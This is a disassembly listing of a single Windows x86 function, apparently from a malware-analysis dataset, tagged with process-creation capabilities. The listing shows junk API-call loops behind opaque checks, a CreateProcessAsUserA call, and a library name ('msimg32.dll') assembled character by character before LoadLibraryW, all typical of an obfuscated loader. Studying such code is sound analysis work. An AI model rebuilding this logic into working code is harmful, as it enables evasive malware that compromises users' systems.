Function at 0x413b20
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push 0xffffffffffffffff
push 0x414971
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa08
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x14], ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
xor esi, esi
cmp esi, 0x2c831
jge 0x413b64
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffA]
push ebx
push ebx
push ebx
push ebx
call edi
cmp dword [0x8d9414], 0x6fb
jne 0x413b82
push ebx
lea eax, [esp + 0x218]
push eax
push ebx
call ebp
cmp esi, 0x3120cd8
jle 0x413ba1
cmp dword [esp + 0x14], 0x134170
je 0x413ba1
cmp dword [esp + 0x1d8], 0xe70b9d
jne 0x413bac
inc esi
cmp esi, 0x4f0fe3
jl 0x413b53
jmp 0x413bd8
cmp dword [0x8d9414], 0x28
jne 0x413bd8
push ebx
lea ecx, [esp + 0x18]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [esp + 0x6c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp dword [0x8d9414], 0xcf8
jne 0x41409e
lea eax, [esp + 0x1bc]
push eax
lea ecx, [esp + 0x1d0]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [esp + 0x234]
push edx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push ebx
call fcn.00407a71
add esp, 4
push ebx
push ebx
call fcn.00411dea
add esp, 8
lea eax, [esp + 0x24]
push eax
call fcn.004063f0
mov dword [esp + 0x24], 0x40441c
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov eax, 1
mov dword [esp + 0xa20], eax
mov dword [esp + 0x1ac], ebx
mov dword [esp + 0x1b0], ebx
mov dword [esp + 0x1b4], ebx
mov dword [esp + 0x6c], 0x404460
mov dword [esp + 0x7c], 0x404468
mov byte [esp + 0xa20], 3
mov ebp, 6
push 4
mov dword [esp + 0x1c], eax
mov dword [esp + 0xd0], 0x404404
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x100], ebx
mov dword [esp + 0xd8], ebx
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], 0x201
mov dword [esp + 0xe8], ebp
mov dword [esp + 0xec], ebx
mov dword [esp + 0xf0], ebx
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf8], ebx
mov dword [esp + 0xfc], ebx
mov dword [esp + 0xdc], ebx
call fcn.00407cfe
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x413d20
call fcn.00406fe9
mov dword [esi], eax
call fcn.00406da8
push ebx
lea ecx, [esp + 0x24]
mov edi, eax
call fcn.004070d2
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x413d15
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x20]
call fcn.004070fa
jmp 0x413d22
xor esi, esi
lea ecx, [esp + 0x84]
lea edi, [esp + 0x1c]
lea eax, [esp + 0xcc]
mov dword [esp + 0xfc], esi
mov dword [esp + 0x104], ecx
mov dword [esp + 0x108], ebx
call fcn.004054b0
mov edi, eax
mov dword [esp + 0xa20], ebp
call fcn.00406650
mov byte [esp + 0xa20], 5
mov edi, dword [esp + 0x1c]
mov ebp, eax
cmp edi, ebx
je 0x413daa
push ebx
lea ecx, [esp + 0x18]
call fcn.004070d2
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x413d88
cmp eax, 0xffffffff
jae 0x413d88
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004070fa
cmp esi, ebx
je 0x413daa
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0x10c], al
cmp dword [esp + 0x104], ebx
jne 0x413df0
mov eax, dword [esp + 0xd8]
or eax, 4
and eax, 0x17
mov dword [esp + 0xd8], eax
test dword [esp + 0xdc], eax
je 0x413df0
push ebx
lea ecx, [esp + 0xd0]
call fcn.004053d0
mov ecx, dword [esp + 0x7c]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x7c], 0x40440c
mov eax, dword [esp + 0x6c]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x6c], 0x404414
mov dword [esp + 0xa20], 9
mov edx, dword [esp + 0x6c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0x84]
mov esi, 0x40445c
push ecx
mov dword [esp + eax + 0x70], esi
call fcn.004063f0
mov edi, 0x40441c
mov dword [esp + 0x84], edi
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
lea edx, [esp + 0x7c]
push edx
mov byte [esp + 0xa24], 0xb
call fcn.00405630
push ebx
call fcn.00407cef
add esp, 4
push ebx
call fcn.00407bc4
add esp, 4
push ebx
push ebx
call fcn.00407bf1
mov ecx, dword [esp + 0x74]
mov edx, dword [ecx + 4]
lea eax, [esp + 0xd4]
add esp, 8
mov dword [esp + 0x1c], eax
mov dword [esp + edx + 0x6c], esi
test byte [esp + 0xc4], 1
lea eax, [esp + 0x84]
mov dword [esp + 0x20], eax
mov dword [esp + 0x84], edi
je 0x413ec2
mov ecx, dword [esp + 0x94]
mov eax, dword [ecx]
push eax
call fcn.00407be6
add esp, 4
mov edx, dword [esp + 0x94]
mov dword [edx], ebx
mov eax, dword [esp + 0xa4]
mov dword [eax], ebx
mov ecx, dword [esp + 0xb4]
mov dword [ecx], ebx
mov edx, dword [esp + 0x98]
mov dword [edx], ebx
mov eax, dword [esp + 0xa8]
mov dword [eax], ebx
mov ecx, dword [esp + 0xb8]
mov dword [ecx], ebx
and dword [esp + 0xc4], 0xfffffffe
mov dword [esp + 0xc0], ebx
mov dword [esp + 0x84], 0x4043c4
mov byte [esp + 0xa20], 0xd
mov eax, dword [esp + 0xbc]
mov ebp, eax
cmp eax, ebx
je 0x413f77
mov edi, dword [eax]
cmp edi, ebx
je 0x413f69
push ebx
lea ecx, [esp + 0x18]
call fcn.004070d2
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x413f47
cmp eax, 0xffffffff
jae 0x413f47
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004070fa
cmp esi, ebx
je 0x413f69
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
push ebp
call fcn.00407be6
add esp, 4
mov edi, 0x40441c
lea ecx, [esp + 0x88]
mov byte [esp + 0xa20], 0xc
call fcn.0040712b
mov byte [esp + 0xa20], 2
mov ecx, dword [esp + 0x6c]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0x6c], 0x404414
mov eax, dword [esp + 0x7c]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0x7c], 0x40440c
mov edx, dword [esp + 0x6c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xcc]
mov dword [esp + eax + 0x6c], 0x404404
push ecx
mov dword [esp + 0xd0], 0x4043bc
call fcn.00406cde
add esp, 4
test byte [esp + 0x64], 1
mov dword [esp + 0x24], edi
je 0x413ff5
mov edx, dword [esp + 0x34]
mov eax, dword [edx]
push eax
call fcn.00407be6
add esp, 4
mov eax, dword [esp + 0x34]
mov dword [eax], ebx
mov ecx, dword [esp + 0x44]
mov dword [ecx], ebx
mov edx, dword [esp + 0x54]
mov dword [edx], ebx
mov eax, dword [esp + 0x38]
mov dword [eax], ebx
mov ecx, dword [esp + 0x48]
mov dword [ecx], ebx
mov edx, dword [esp + 0x58]
mov dword [edx], ebx
and dword [esp + 0x64], 0xfffffffe
mov dword [esp + 0x60], ebx
mov dword [esp + 0x24], 0x4043c4
mov dword [esp + 0xa20], 0xe
mov eax, dword [esp + 0x5c]
mov ebp, eax
cmp eax, ebx
je 0x41408a
mov edi, dword [eax]
cmp edi, ebx
je 0x414081
push ebx
lea ecx, [esp + 0x18]
call fcn.004070d2
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x41405f
cmp eax, 0xffffffff
jae 0x41405f
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x14]
and esi, edi
call fcn.004070fa
cmp esi, ebx
je 0x414081
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebp
call fcn.00407be6
add esp, 4
lea ecx, [esp + 0x28]
mov dword [esp + 0xa20], 0xffffffff
call fcn.0040712b
mov eax, 0x5d1
add dword [0x8d9414], eax
mov eax, dword [0x8d9414]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x8d7c0c], eax
mov eax, dword [0x8d9414]
xor edi, edi
cmp eax, ebx
jbe 0x414115
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetStringTypeW]
cmp eax, 0xfe
jne 0x4140ec
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [esp + 0x6c]
push ecx
push 0x403f3c
call esi
call fcn.004135b0
mov eax, dword [0x8d9414]
cmp eax, 0x8d
jne 0x414110
lea edx, [esp + 0x18]
push edx
push ebx
push 0x404010
push ebx
call ebp
mov eax, dword [0x8d9414]
inc edi
cmp edi, eax
jb 0x4140d2
cmp eax, 0x70
jne 0x414127
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
mov eax, dword [0x8d9414]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov edi, 0x9682ab
cmp eax, 3
jne 0x414144
push 0x404038
push ebx
call esi
mov eax, dword [0x8d9414]
dec edi
jne 0x414132
mov esi, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov ebp, 0x25887
mov edi, 0xabebc05c
jmp 0x414160
mov dword [0x8d7c14], edi
cmp eax, 0x222
jne 0x414182
push ebx
push ebx
push ebx
push 0x4040e8
push 0x404110
push ebx
call esi
mov eax, dword [0x8d9414]
dec ebp
jne 0x414160
mov byte [0x42efd8], 0
call fcn.004134b0
call fcn.00413900
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalUnlock]
xor esi, esi
cmp dword [0x8d9414], 0xba
jne 0x4141bd
push 0x404170
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
call edi
push ebx
call ebp
cmp esi, 0x2f64
jne 0x4141d6
mov eax, 0x228f
add dword [0x8d7c0c], eax
inc esi
cmp esi, 0x1605a
jl 0x4141a4
mov esi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov ebp, dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [esp + 0x18], 0x1e6dcb
nop
cmp dword [0x8d9414], 0x85
jne 0x414235
push 0
call esi
push 0
call edi
push 0x404210
push 0x404240
push 0x40428c
call ebp
push 0
push 0
lea eax, [esp + 0x61c]
push eax
push 0
call ebx
dec dword [esp + 0x18]
jne 0x414200
mov ecx, 0x73
mov edx, 0x6d
mov word [0x8d941a], cx
mov word [0x8d941e], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x8d9422], ax
mov word [0x8d942e], dx
mov word [0x8d9420], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x8d9418
mov dword [0x8d9428], 0x6c0064
mov word [0x8d941c], dx
mov word [0x8d9418], ax
mov word [0x8d942c], cx
mov dword [0x8d9424], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0xa18]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0xa14
ret